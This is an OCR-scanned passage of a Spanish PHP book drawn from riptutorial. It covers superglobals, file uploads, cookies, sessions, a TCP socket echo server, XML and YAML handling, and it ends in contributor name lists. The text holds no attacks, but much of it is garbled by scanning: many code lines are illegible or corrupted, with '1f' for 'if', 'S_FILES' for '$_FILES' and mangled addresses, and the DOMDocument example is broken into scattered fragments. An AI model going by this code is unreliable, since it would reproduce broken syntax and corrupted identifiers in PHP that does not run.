* PÍP_sELF : el nombre de archivo del script ejecutado actualmente, relativo a la raíz del 
documento. 
Esto devolvería /index. php 

* REQUEST_TIME_FLOAT : la marca de tiempo del inicio de la solicitud, con microsegundos de 

precisión. Disponible desde PHP 5.4.0. 

* REQUEST_TIME : la marca de tiempo del inicio de la solicitud. Disponible desde PHP 5.1.0. 


$_GET 


Una matriz asociativa de variables pasadas al script actual a través de los parámetros 
de la URL. 


$_cerT es una matriz que contiene todos los parámetros de URL; estos son los que son después de 
la? en la URL. 


Usando http://www.example.com/index.php?myVar=myVal como ejemplo. Esta información de 
esta URL se puede obtener accediendo en este formato s_ceT["myvar"] y el resultado será myva: . 


Usando algún código para aquellos que no les gusta leer. 


// URL = http: //www.example.com/index.php?myVar=myVal 


seco EM [Mae == Malo Y WezueY 3 UralseY, // recurs "erue" 


El ejemplo anterior hace uso del operador ternario . 


Esto muestra cómo puede acceder al valor desde la URL usando s_c=T superglobal. 


Ahora otro ejemplo! jadear 


// URL = http: //www.example.com/index.php?myVar=myValémyVar2=myVal2 


calmo San Mayer lp Y deseas Miniyedlo 
echo S$_GET["myVar2"]; // returns "myVal2" 


Es posible enviar múltiples variables a través de la URL separándolas con un carácter de signo ( s 


h 


Riesgo de seguridad 

Es muy importante no enviar ninguna información confidencial a través de la URL, ya que 
permanecerá en el historial de la computadora y será visible para cualquier persona que pueda 
acceder a ese navegador. 


$_POST 


Una matriz asociativa de variables pasadas al script actual a través del método HTTP 
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POST cuando se utiliza application / x-www-form-urlencoded o multipart / form-data 
como el tipo de contenido HTTP en la solicitud. 


Muy similar a 5_cer en que los datos se envían de un lugar a otro. 


Comenzaré yendo directamente a un ejemplo. (He omitido el atributo de acción ya que esto 
enviará la información a la página en la que se encuentra el formulario). 


<form method="POST"> 
<input type="text" name="myVar" value="myVal" /> 
<input type="submit" name="submit" value="Submit" /> 
</form> 


La anterior es una forma básica para la cual se pueden enviar datos. En un entorno real, el 
atributo de va1ue no se establecería, lo que significa que el formulario estaría en blanco. Esto 
enviaría entonces cualquier información que ingrese el usuario. 


echo $_POST["myVar"]); // returns "myVal" 


Riesgo de seguridad 
El envío de datos a través de POST tampoco es seguro. El uso de HTTPS asegurará que los 
datos se mantengan más seguros. 


S_FILES 


Una matriz asociativa de elementos cargados en el script actual a través del método 
HTTP POST. La estructura de esta matriz se describe en la sección de subidas del 
método POST . 


Empecemos con una forma básica. 


<form method="POST" enctype="multipart/form-data"> 
<input type="file" name="myVar" /> 


<input type="submit" name="Submit" /> 
</form> 


Tenga en cuenta que omití el atributo de action (¡otra vez!). Además, agregué 
enctype="multipart/form-data" , esto es importante para cualquier formulario que se ocupe de la 
carga de archivos. 


// ensure there isn't an error 
1f (S_FILES["myVar"]["error"] == UPLOAD_ERR_OK) 
( 


SfolderLocation = "myFiles"; // a relative path. (could be "path/to/file" for example) 


// 1f the folder doesn't exist then make it 
Mete stes (Sto lderkocation))mnkdis(Stolderkocatilon)i, 


// move the file into the folder 
move_uploaded_file(S_FILES["myVar"]["tmp_name"], "SfolderlLocation/" 


basename ($_FILES["myVar"]["name"])); 
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Esto se utiliza para cargar un archivo. A veces es posible que desee cargar más de un archivo. 


Existe un atributo para eso, se llama multiple . 
Hay un atributo para casi cualquier COSa . Lo siento 


A continuación se muestra un ejemplo de un formulario que envía varios archivos. 


<form method="POST" enctype="multipart/form-data"> 


<input type="file" name="myVar[]" multiple="multiple" /> 


<input type="submit" name="Submit" /> 
</form> 


Tenga en cuenta los cambios realizados aquí; Sólo hay unos pocos. 


+ El nombre de input tiene corchetes. Esto se debe a que ahora es una matriz de archivos y 
por eso le indicamos al formulario que haga una matriz de los archivos seleccionados. 
Omitir los corchetes resultará en que el último archivo más se establezca en 


S_FILES["myVar"] . 


+ El atributo mu1tiple="multiple" . Esto solo le dice al navegador que los usuarios pueden 


seleccionar más de un archivo. 


$Stotal = isset ($_FILES["myVar"]) 
files were sent 


// iterate over each of the files 
for ($1 = 0; $1 < $total; $1++) 


( 


Il dieze len Em error 


2 count (S FILES ["myVar"] ["name"1]) 


O 


// count how many 


) 


1f (S_FILES["myVar"]["error"] [$1] == UPLOAD_ERR_O0K) 
( 
SfolderLocation = "myFiles"; // a relative path. (could be "path/to/file" for exampl 
// 1f£ the folder doesn't exist then make it 
if (!file exists($folderLocation)) mkdir ($folderLocation); 
// move the file into the folder 
move_uploaded_file(S_FILES["myVar"]["tmp_name"][$i], "SfolderLocation/" 
basename ($_FILES["myVar"] ["name"][$i])); 
) 
// else report the error 
slse sale (6 as a Merci 1641) 
1 
case UPLOAD_ERR_INI_SIZE: 
echo "Value: 1; The uploaded fil xceeds the upload_max filesize directive in 
PEPE 
break; 
case UPLOAD_ERR_FORM_SIZE: 
echo "Value: 2; The uploaded fil xceeds the MAX _FILE_ SIZE directive that was 
specified in the HTML form."; 
break; 
case UPLOAD_ERR_PARTIAL: 
echo "Value: 3; The uploaded file was only partially uploaded."; 
break; 
Case UPLOAD_ERR_NO_FILE: 
echo "Value: 4; No file was uploaded."; 
break; 
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¡OAD_ERR_NO_TMP_DIR: 
o "Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3."; 


cdas “Welues 717 Feilles! to rele File tuo chisle, ame rocbece dan 1209 5.1.0, 
break; 
Case UPLOAD_ERR_EXTENSION: 
echo "Value: 8; A PHP extension stopped the file upload. PHP does not provide a 
way to ascertain which extension caused the file upload to stop; examining the list of loaded 


E 
h 
e 
Case UPLOAD_ERR_CANT_WRITE: 
h 
e 


extensions with phpinfo() may help. Introduced in PHP 5.2.0."; 
break; 


default: 
echo "An unknown error has occured."; 


break; 


Este es un ejemplo muy simple y no maneja problemas como las extensiones de archivo que no 
están permitidas o los archivos nombrados con código PHP (como un equivalente de PHP de una 
inyección SQL). Consulte la documentación . 


El primer proceso es verificar si hay archivos, y si es así, establezca el número total de ellos en 


Stotal. 


El uso del bucle for permite una iteración de la matriz s_r11=s y acceder a cada elemento uno a la 
vez. Si ese archivo no encuentra un problema, la sentencia if es verdadera y se ejecuta el código 
de la carga del archivo único. 

Si se encuentra un problema, el bloque de conmutación se ejecuta y se presenta un error de 
acuerdo con el error para esa carga en particular. 


$_COOKIE 
Una matriz asociativa de variables pasadas al script actual a través de cookies HTTP. 
Las cookies son variables que contienen datos y se almacenan en la computadora del cliente. 


A diferencia de las superglobales mencionadas anteriormente, las cookies deben crearse con una 
función (y no asignar un valor). La convención está abajo. 


setcookie ("myVar", "myVal", time() + 3600); 


En este ejemplo, se especifica un nombre para la cookie (en este ejemplo es "myVar”), se da un 
valor (en este ejemplo es "myVal", pero se puede pasar una variable para asignar su valor a la 
cookie), y luego se da un tiempo de caducidad (en este ejemplo es una hora porque 3600 
segundos es un minuto). 


A pesar de que la convención para crear una cookie es diferente, se accede de la misma manera 
que las demás. 


echo $_COOKIE["myVar"]; // returns "myVal" 
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Para destruir una cookie, se debe volver a llamar a setcookie , pero el tiempo de caducidad se 
establece en cualquier momento en el pasado. Vea abajo. 


setocolie (Mi vaz", Y, time) = 1) 
var_dump ($_COOKIE["myVar"]); // returns null 


Esto desarmará las cookies y las eliminará de la computadora del cliente. 
$ SESSION 


Una matriz asociativa que contiene variables de sesión disponibles para el script 
actual. Consulte la documentación de las funciones de sesión para obtener más 
información sobre cómo se utiliza esto. 


Las sesiones son muy parecidas a las cookies, excepto que son del lado del servidor. 


Para usar las sesiones, debe incluir session_start () en la parte superior de sus scripts para 
permitir que se utilicen las sesiones. 


Configurar una variable de sesión es lo mismo que configurar cualquier otra variable. Vea el 
ejemplo a continuación. 


S_SESSION["myVar"] = "myVal"; 


Al iniciar una sesión, una ID aleatoria se establece como una cookie y se llama "PHPSESSID" y 
contendrá la ID de la sesión actual. Se puede acceder a esto llamando a la función session_ia() . 


Es posible destruir las variables de sesión usando la función unset (de manera que 

unset ($_SESSION["myVar"]) destruiría esa variable). 

La alternativa es llamar a session_destory() . Esto destruirá toda la sesión, lo que significa que 
todas las variables de la sesión ya no existirán. 


$_REQUEST 


H 


Una matriz asociativa que de forma predeterminada contiene los contenidos de sc: 
$_POST Y $_COOKIE . 


Como indica la documentación de PHP, esto es solo una recopilación de s_cer , $_posT Y $_COOKIE 
todo en una variable. 


Dado que es posible que los tres arreglos tengan un índice con el mismo nombre, hay una 
configuración en el archivo php. ini llamada request_order que puede especificar cuál de los tres 
tiene prioridad. 

Por ejemplo, si se configuró en "src" , entonces se s_cooxtk el valor de s_cooxrz , ya que se lee de 
izquierda a derecha, lo que significa que s_reouesT establecerá su valor en s_cer , luego s_rosrT y 
luego s$_cooxtE y COMO $_cooxtE es el último, es el valor que está en s_reouesr . 

Vea esta pregunta . 


$_ENV 
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Una matriz asociativa de variables pasadas al script actual a través del método de 
entorno. 


Estas variables se importan al espacio de nombres global de PHP desde el entorno en 
el que se ejecuta el analizador de PHP. Muchos son proporcionados por el shell bajo 
el cual se ejecuta PHP y diferentes sistemas probablemente ejecutan diferentes tipos 
de shells, una lista definitiva es imposible. Consulte la documentación de su shell para 
obtener una lista de las variables de entorno definidas. 


Otras variables de entorno incluyen las variables CGl, ubicadas allí 
independientemente de si PHP se está ejecutando como un módulo de servidor o 
procesador CGl. 


Cualquier cosa almacenada dentro de s_Exv es del entorno desde el que se ejecuta PHP. 


$_ 


env solo se completa Si pnp. ini permite. 


Consulte esta respuesta para obtener más información sobre por qué s_exv no se completa. 


Lea Variables Superglobales PHP en línea: https://riptutorial.com/es/php/topic/3392/variables- 


superglobales-php 
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Capítulo 107: Websockets 


Introducción 


El uso de la extensión de socket implementa una interfaz de bajo nivel para las funciones de 
comunicación de socket basadas en los populares sockets BSD, brindando la posibilidad de 
actuar como un servidor de socket así como un cliente. 


Examples 


Servidor TCP / IP simple 


Ejemplo mínimo basado en el ejemplo del manual de PHP encontrado aquí: 
http://php.net/manual/en/sockets.examples.php 


Cree un script websocket que escuche el puerto 5000 Use putty, terminal para ejecutar telnet 
127.0.0.1 5000 (localhost). Este script responde con el mensaje que envió (como respuesta) 


<?php 
set_time_limit(0); // disable timeout 
ob_implicit_flush(); // disable output caching 


// Settings 
Sackless = "127,0,0,1%p 
Sport = 5000; 


/* 
function socket_create ( int $domain , int $type , int $protocol ) 
Sdomain can be AF_INET, AF_INET6 for IPV6 , AF_UNIX for Local communication protocol 
Sprotocol can be SOL_TCP, SOL_UDP  (TCP/UDP) 
(returns true on success 


25) 
1f (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) ( 
Scdao “UComilciae erstes soclker".socker serzerrar (socie Jlase ero (1). més 
) 
/* 
socket_bind ( resource $socket , string Saddress [, int $port = 0 ] ) 
Bind socket to listen to address and port 
2) 
1f (socket_bind($socket, Saddress, $port) === false) ( 
echo End EE OSO Cc ketestrerron(isockera las tierno (es oca 
) 
TE (so ckerilisten(s socket, o) === als A 
Scans Viilsecca reullea Y socks serenos (socker lee rro (Seockar)) . Mun 
) 
do 1 
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1f (($msgsock = socket_accept ($socket)) === false) ( 
echo "Error: socket_accept: " . socket_strerror(socket_last_error ($socket)) 


break; 


) 


/* Send Welcome message. */ 
$msg = "AnPHP Websocket An"; 


// Listen to user input 


do ( 
1f (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) ( 
echo "socket read error: ".socket_strerror(socket_last_error ($msgsock)) 
break 2; 


) 
a (MS. = cin ue) Al 
continue; 


) 


// Reply to user with their message 

Stelldaaels = "BID You seutel “Sau”. yan 

socket_write ($msgsock, $talkback, strlen ($talkback)); 
// Print message in terminal 

calas "ELENA 


) while (true); 
socket_close ($msgsock) ; 
) while (true); 


socket_close ($socket); 
2> 


Lea Websockets en línea: https://riptutorial.com/es/php/topic/9598/websockets 
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Capítulo 108: XML 


Examples 


Crea un archivo XML usando XML Writer 
Crea una instancia de un objeto XMLWriter: 


$xml = new XMLWriter (); 


A continuación abra el archivo en el que desea escribir. Por ejemplo, para escribir en 


/var/www/example.com/xml/output.xml , USO: 
$xml1->openUri ('file:///var/www/example.com/xml/output.xml'); 
Para iniciar el documento (crear la etiqueta abierta XML): 
Sl raoba (MO, ue) y 
Esto dará como resultado: 


<?xml version="1.0" encoding="UTF-8"7?> 


Ahora puedes empezar a escribir elementos: 


$xml->writeElement ('foo', 'bar'); 
Esto generará el XML: 
<foo>bar</foo> 


Si necesita algo un poco más complejo que simplemente nodos con valores simples, también 
puede "iniciar" un elemento y agregarle atributos antes de cerrarlo: 


Sxml->startElement ('foo'); 
$xml->writeAttribute('bar', 'baz'); 
$xml->writeCdata('Lorem ipsum'); 


$xml->endElement (); 


Esto dará como resultado: 


<foo bar="baz"><![CDATA[Lorem ipsum] ]></foo> 


Leer un documento XML con DOMDocument 
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De manera similar a SimpleXML, puede usar DOMDocument para analizar XML desde una 
cadena o desde un archivo XML 


1. De una cuerda 


$doc = new DOMDocument (); 
$doc->loadXML ($string); 


2. De un archivo 


Sdoc = new DOMDocument (); 
$doc->load('books.xml');// use the actual file path. Absolute or relative 


Ejemplo de análisis 


Teniendo en cuenta el siguiente XML: 


<?xml version="1.0" encoding="UTF-8"7?> 
<books> 
<book> 
<name>PHP -— An Introduction</name> 
<price>$5.95</price> 
<ielb1</cl> 
</book> 
<book> 
<name>PHP - Advanced</name> 
<price>$25.00</price> 
<ob-23/4cl> 
</book> 
</books> 


Este es un código de ejemplo para analizarlo. 


Sbooks $doc->getElementsByTagName ('book'); 
foreach ($books as $book) ( 


Sal Sbook->getElementsByTagName ('name') ->item(0)->nodeValue; 

Sprite $book->getElement sByTagName ('price')->item(0)->nodeValue; 

Sid Sbook->getElementsByTagName ('id')->item(0)->nodeValue; 

bae a (Mas cicle er cas loa: Sie 8 Sitciles sel dí coses Sormlas, Y . Mya) 


Esto dará como resultado: 
El título del libro 1 es PHP - Una introducción y cuesta $ 5.95. 


El título del libro 2 es PHP - Advanced y cuesta $ 25.00. 
Crea un XML utilizando DomDocument 
Para crear un XML usando DOMDocument, básicamente, necesitamos crear todas las etiquetas y 


atributos usando lOS createElement () Y createAttribute () y ellos crean la estructura XML con 
appendChild() . 
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El siguiente ejemplo incluye etiquetas, atributos, una sección CDATA y un espacio de nombres 
diferente para la segunda etiqueta: 


$dom 
$dom 
$dom 


Vez 
Sboo 
Sboo 


1 e 
$nam 
SPrl 


$id_1 


les 
Satt 
Satt 
//ap 
Sid_ 


Ape 


$nam 


//in 


= new DOMDocument ('1.0', 


ULE==5 1 


>preserveWhiteSpac 
=>formatOutput = true; 
eate the main tags, 
ks Sdom->creat 

e 1 $dom->creat 


reate some tags with values 


A Sdom->creat 
ce 1 Sdom->creat 
$dom->creat 


cate 
nl 
r_1l->value = 


and append 


pal AO 
pend the attribute 
IS prenden ae caioe: 


eate the second 


space = 'www.exampl 


clude th 


namespac 


= fals 


Element ('name', 
Element ('price', 
Element ('id', 


, 


without values 
Element ('books'); 
Element ('book'); 


"$55. 93%) 9 
UU e 


an attribute 
Sdom->createAttribute('version'); 


tag book with different namespac 


.com/libraryns/1.0'; 


prefix in the books tag 


Sbooks->setAttributeNS ('http://www.w3.org/2000/xmlns/', 


Sboo 
$nam 


Ip ez 


E-2 Sdom->creat 
2 Sdom->creat 


eate a CDATA section 


ElementNS ($namespace, 


(that 


ElementNS ($namespace, 'ns:book'); 


'ns:name'); 


is another DOMNode instance) 


MD = an Maier oreja) A 


'xmlns:ns', $namespace); 


and put it inside the name tag 


Sname_cdata = $dom->createCDATASection('PHP -—- Advanced'); 
Sname_2->appendChild ($name_cdata) ; 


Spri 
Sala 


AN es 
$Sboo 
Sboo 
$Sboo 
Sboo 
Sboo 
Sboo 
$Sboo 
Sboo 


$dom 


//saveXML () 


prin 


Esto generará el siguiente XML: 


<?xm 


ce 2 Sdom->creat 
2 $Sdom->creat 


eate the XML structure 
ks->appendChild ($book_1); 
k_1->appendChild ($name_1); 
k_1->appendCchil 
k_1->appendChild ($id_1); 
ks->appendChild ($book_2); 
k_2->appendchild ($name_2); 


k_2->appendChil 


k_2->appendChild ($id_2); 


=>appendChild ($books); 


t_r ($dom->saveXML ()); 


l version="1.0" 


ElementNS ($namespace, 
ElementNS ($namespace, 


ad (Sprice 1); 


dl(Speics 2) 


"me 3 pricS" , 


Massgiov, *21)— 


method returns the XML in a String 


ncoding="utf-8"7?> 


<books xmlns:ns="www.example.com/libraryns/1.0"> 


<b 


ook> 


<name>PHP - An Introduction</name> 


<price>$5.95</price> 
<lol verslon= 0 us </lcb> 


https://riptutorial.com/es/nome 


"$290 000%) $ 


566 


</book> 
<ns:book> 
<ns:name><![CDATA[PHP - Advanced]]></ns:name> 
<ns:price>$25.00</ns:price> 
<ns:id>2</ns:id> 
</ns:book> 
</books> 


Lee un documento XML con SimpleXML 


Puede analizar XML desde una cadena o desde un archivo XML 


1. De una cuerda 

$xml_obj = simplexml_load_string($string); 
2. De un archivo 

$xml_obj] = simplexml_load_file('books.xml'); 


Ejemplo de análisis 


Teniendo en cuenta el siguiente XML: 


<?xml version="1.0" encoding="UTF-8"7?> 
<books> 
<book> 
<name>PHP -— An Introduction</name> 
<price>$5.95</price> 
<ol> </Lecl> 
</book> 
<book> 
<name>PHP - Advanced</name> 
<price>$25.00</price> 
<¡ob-23/4Lcl> 
</book> 
</books> 


Este es un código de ejemplo para analizarlo. 


$xml = simplexml_load_string($xml_string); 
Sbooks = $xml->book; 
foreach ($books as $book) ( 

Sid = $book->id; 


Stitle = $book->name; 
Spric Sbook->price; 
prlme_ 2 (Vilas title o tas loa: Sie e Sitltle ame di costs Somles. Y . "yaD)s 


Esto dará como resultado: 


El título del libro 1 es PHP - Una introducción y cuesta $ 5.95. 
El título del libro 2 es PHP - Advanced y cuesta $ 25.00. 
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Aprovechando XML con la biblioteca SimpleXML de PHP 


SimpleXML es una biblioteca potente que convierte cadenas XML en un objeto PHP fácil de usar. 


Lo siguiente asume una estructura XML como a continuación. 


<?xml version="1.0" encoding="UTF-8"7?> 
<document> 
<book> 
<bookName>StackOverflow SimpleXML Example</bookName> 


<bookAuthor>PHP Programmer</bookAuthor> 

</book> 

<book> 
<bookName>Another SimpleXML Example</bookName> 
<bookAuthor>Stack Overflow Community</bookAuthor> 
<bookAuthor>PHP Programmer</bookAuthor> 
<bookAuthor>FooBar</bookAuthor> 

</book> 

</document> 


Lea nuestros datos en SimpleXML 


Para comenzar, necesitamos leer nuestros datos en SimpleXML. Podemos hacer esto de 3 
maneras diferentes. En primer lugar, podemos cargar nuestros datos desde un nodo DOM. 


$xmlElement = simplexml_import_dom($domNode) ; 


Nuestra siguiente opción es cargar nuestros datos desde un archivo XML. 


$xmlElement = simplexml_load_file($filename); 


Por último, podemos cargar nuestros datos desde una variable. 


$xmlString = '<?xml version="1.0" encoding="UTF-8"?> 
<document> 
<book> 
<bookName>StackOverflow SimpleXML Example</bookName> 


<bookAuthor>PHP Programmer</bookAuthor> 

</book> 

<book> 
<bookName>Another SimpleXML Example</bookName> 
<bookAuthor>Stack Overflow Community</bookAuthor> 
<bookAuthor>PHP Programmer</bookAuthor> 
<bookAuthor>FooBar</bookAuthor> 

</book> 

</document>'; 


$xmlElement = simplexml_load_string($xmlString); 


Ya sea que haya elegido cargar desde un elemento DOM , desde un archivo o desde una cadena 
, ahora se queda con una variable SimpleXMLElement llamada $xm181ement . Ahora, podemos 
empezar a utilizar nuestro XML en PHP. 


Accediendo a nuestros datos SimpleXML 
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La forma más sencilla de acceder a los datos en nuestro objeto SimpleXMLElement es llamar 
directamente a las propiedades . Si queremos acceder a nuestro primer nombre de libro, 
StackOverflow SimpleXML Example , entonces podemos acceder a él como se muestra a 
continuación. 


echo $xmlElement->book->bookName; 


En este punto, SimpleXML asumirá que, como no le hemos dicho explícitamente qué libro 
queremos, que queremos que sea el primero. Sin embargo, si decidimos que no queremos el 
primero, sino que queremos another SimplexML Example , entonces podemos acceder a él como se 
muestra a continuación. 


echo $xmlElement->book[1]->bookName; 


Vale la pena señalar que usar to] funciona igual que no usarlo, por lo que 


$SxmlElement->book 


funciona igual que 


SxmlElement->book[0] 


Recorriendo nuestro XML 


Hay muchas razones por las que puede desear pasar por XML , como por ejemplo que tiene 
varios artículos, libros en nuestro caso, que nos gustaría mostrar en una página web. Para esto, 
podemos usar un bucle foreach o un estándar para el bucle , aprovechando la función de conteo 
de SimpleXMLElement. . 


foreach ( $xmlElement->book as $thisBook ) ( 
echo $thisBook->bookName 


Scount = $xmlElement->count (); 
sor ( S1=30p Bi<scommes Sais ) 
echo $xmlElement->book[$i]->bookName; 


Errores de manejo 


Ahora que hemos llegado hasta ahora, es importante que nos demos cuenta de que solo somos 
seres humanos, y es probable que encontremos un error con el tiempo, especialmente si jugamos 
con diferentes archivos XML todo el tiempo. Y así, vamos a querer manejar esos errores. 


Considera que hemos creado un archivo XML. Notará que mientras este XML es muy similar al 
que teníamos anteriormente, el problema con este archivo XML es que la etiqueta de cierre final 
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es / doc en lugar de / document. 


<?xml version="1.0" encoding="UTF-8"7?> 
<document> 
<book> 
<bookName>StackOverflow SimpleXML Example</bookName> 
<bookAuthor>PHP Programmer</bookAuthor> 
</book> 
<book> 
<bookName>Another SimpleXML Example</bookName> 
<bookAuthor>Stack Overflow Community</bookAuthor> 
<bookAuthor>PHP Programmer</bookAuthor> 
<bookAuthor>FooBar</bookAuthor> 
</book> 
</doc> 


Ahora, digamos, cargamos esto en nuestro PHP como archivo $. 


libxml_use internal _errors (true); 
$xmlElement = simplexml_load_file($file); 
1f ( $xmlElement === false ) ( 

Serrors = libxml_get_errors(); 


somesicla ( Serzozs as Sudlsiieaiaora ) A 
switch ( S$thisError->level ) ( 
case LIBXML_ERR_FATAL: 
echo "FATAL ERROR: "; 
break; 
Case LIBXML_ ERR_ERROR: 


echo “Won batal Ercor:o o 

break; 
case LIBXML_ERR_ WARNING: 

echo "Warning: "; 


break; 
) 
echo $thisError->code . PHP_EOL 
"Message: ' . $thisError->message . PHP_EOL 
"Line: ' ., $thisError->line . PHP_EOL 
"Column: ' . SthisError-=->column . PHP_EOL 


paiiles Y. Sumsitrror =>, 
) 
libxml_clear_errors(); 
) else ( 
echo 'Happy Days'; 


Nos saludarán con el siguiente 


FATAL ERROR: 76 
Message: Opening and ending tag mismatch: document line 2 and doc 


Line: 13 
Column: 10 
File: filepath/filename.xml 


Sin embargo, tan pronto como solucionamos este problema, se nos presentan los "Días felices". 


Lea XML en línea: https://riptutorial.com/es/php/topic/780/xml 
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Capítulo 109: YAML en PHP 


Examples 


Instalación de la extensión YAML 


YAML no viene con una instalación estándar de PHP, en su lugar, debe instalarse como una 
extensión PECL. En Linux / UNIX se puede instalar con un simple 


pecl install yaml 


Tenga en cuenta que el paquete 1ibyaml-dev debe estar instalado en el sistema, ya que el 
paquete PECL es simplemente una envoltura alrededor de las llamadas libYAML. 


La instalación en máquinas Windows es diferente: puede descargar una DLL precompilada o 
compilar desde fuentes. 


Usando YAML para almacenar la configuración de la aplicación 


YAML proporciona una manera de almacenar datos estructurados. Los datos pueden ser un 
simple conjunto de pares nombre-valor o un complejo de datos jerárquicos con valores, incluso 
siendo matrices. 


Considere el siguiente archivo YAML: 


database: 
driver: mysql 
host: database.mydomain.com 
POBRES 505 
db_name: sample_db 
user: myuser 
password: Passw0Ord 
debug: true 
ESURCENS US 


Digamos, se guarda COMO config.yaml . Luego, para leer este archivo en PHP se puede usar el 
siguiente código: 


Sconfig = yaml_parse_file('config.yaml'); 
Prem (Scontlig)í 


print_r producirá la siguiente salida: 


Array 
( 
[database] => Array 
( 


[driver] => mysql 
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[host] => database.mydomain.com 
[dormia => SS0 

[db_name] => sample_db 

[user] => myuser 

[password] => Passw0Ord 


[debug] => 1 
[country] => us 


Ahora los parámetros de configuración se pueden usar simplemente usando elementos de matriz: 


SdbConfig = $config['database']; 


SconnectString = $dbConfig['driver'] 
":host=($dbConfig['host'])" 
Ware =(Selocomitaa [Manz Y] 
":dbname=[(S$dbConfig['db_name'])" 
":user=($dbConfig['user'])" 


. ":password=($dbConfig['password'])"; 
SdbConnection = new APDO ($connectString, $dbConfig['user'], $dbConfig['password']); 


Lea YAML en PHP en línea: https://riptutorial.com/es/php/topic/5101/yaml-en-php 
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Los operadores 
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tyteen4a03, ultrasamaad, uzaif, Viktor, Vojtech Kane, Willem 
Stuursma, Yuri Blanc, Yury Fedorov 
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Los tipos 


Manejo de archivos 


Manejo de 
excepciones y 
reporte de errores 


Manipulación De 
Cabeceras 


Manipulando una 
matriz 


Metodos magicos 


mongo-php 


Multiprocesamiento 


Patrones de diseño 


PHP incorporado en 
el servidor 


PHP MySQLi 
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roman reign, Ruslan Bes, SaitamaSama, Script_Coded, SOFe, 
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wakgasahmed, Yehia Awad, Ziumin 
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php mysadli filas 
afectadas devuelve 
O cuando debería 
devolver un entero 
positivo 


PHPDoc 


Primer de carga 
automática 


Problemas de 


malabarismo de tipo 


y comparación no 
estricta 


Procesamiento de 
imágenes con GD 


Procesando 
múltiples matrices 
juntos 


Programación 
asíncrona 


Programación 
Funcional 


PSR 


Publicación por 
entregas 


Rasgos 


Recetas 


John 


Gerard Roche, HPierce, leguano, miken32, Mubashar labal, 
Thijs Riezebeek 


bishop, br3nt, Jens A. Koch 


GordonM, miken32, tyteen4a03 


Ormoz, RamenChef, Rick James, SOFe, tyteen4a03 


AbcAeffchen, Anees Saban, David, Fathan, Matt S, mnoronha, 
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utdev 


RelicScoth, Tom 
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Recopilación de 
errores y 
advertencias. 


Referencias 


Reflexión 


Salida del valor de 
una variable 


Seguridad 


Serialización de 
objetos 


Servidor SOAP 


Sesiones 


SimpleXML 


Sintaxis alternativa 
para estructuras de 
control 


Soporte Unicode en 
PHP 


SOQLite3 


Tipo de insinuación 


EatPeanutButter, Thamilan, u_mulder 
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Thomas Gerot, Timothy, Timur, tpunt, tyteen4a03, Ultimater, 
uzaif, Ven, William Perron, Your Common Sense 
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Community, Darren, daviddhont, georoot, gvre, Machavity, 
Mansouri, matiaslauriti, Matt S, pilec, RamenChef, rap-2-h, 
Robin Panta, Script47, secelite, Thijs Riezebeek, Thomas 
Gerot, tim, tpunt, undefined, UnderscOre, Vincent Teyssier, 
webDev, Xorifelse, Your Common Sense, Yury Fedorov, 
Ziumin 


Ali MasudianPour, Matt S, Mohamed Belal 


Piotr Olaszewski 
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A. Koch, ksealey, matiaslauriti, mickmackusa, Nijraj Gelani, 
RiggsFolly, SirMaxime, SOFe, tyteen4a03 
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bwoebi, JaylsTooCommon, Machavity, Marten Koetsier, 
matiaslauriti, Shane, Sverri M. Olsen, Xenon 
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PHP 
102 UTF-8 


103 Utilizando MongoDB 


104 Utilizando SQLSRV 
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Variables 


mos Superglobales PHP 


107 Websockets 


108 XML 
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theomessin, tyteen4a03, u_mulder 
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Nathaniel Ford, Pedro Pinheiro, richsage, Robbie Averill, 
SaitamaSama, SZenC, Thamilan, Viktor 
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Kevin Campion, RamenChef, tyteen4a03 
AVProgrammer, bansi, ImClarky 


54 69 6D, 7ochem, ackwell, Adil Abbasi, afeique, Alexander 
Guz, Anil, AppleDash, AVProgrammer, B001, Ben Rhys-Lewis, 
Billy G, br3nt, bwegs, bwoebi, cale_b, Charlie H, Chris Evans, 
Christian, Community, Confiqure, cpalinckx, Daniel Stradowski, 
David G., Dykotomee, Ed Cottrell, Edvin Tenovimas, FOG, 
Favian loel P, Franck Dernoncourt, Gino Pane, Henders, 
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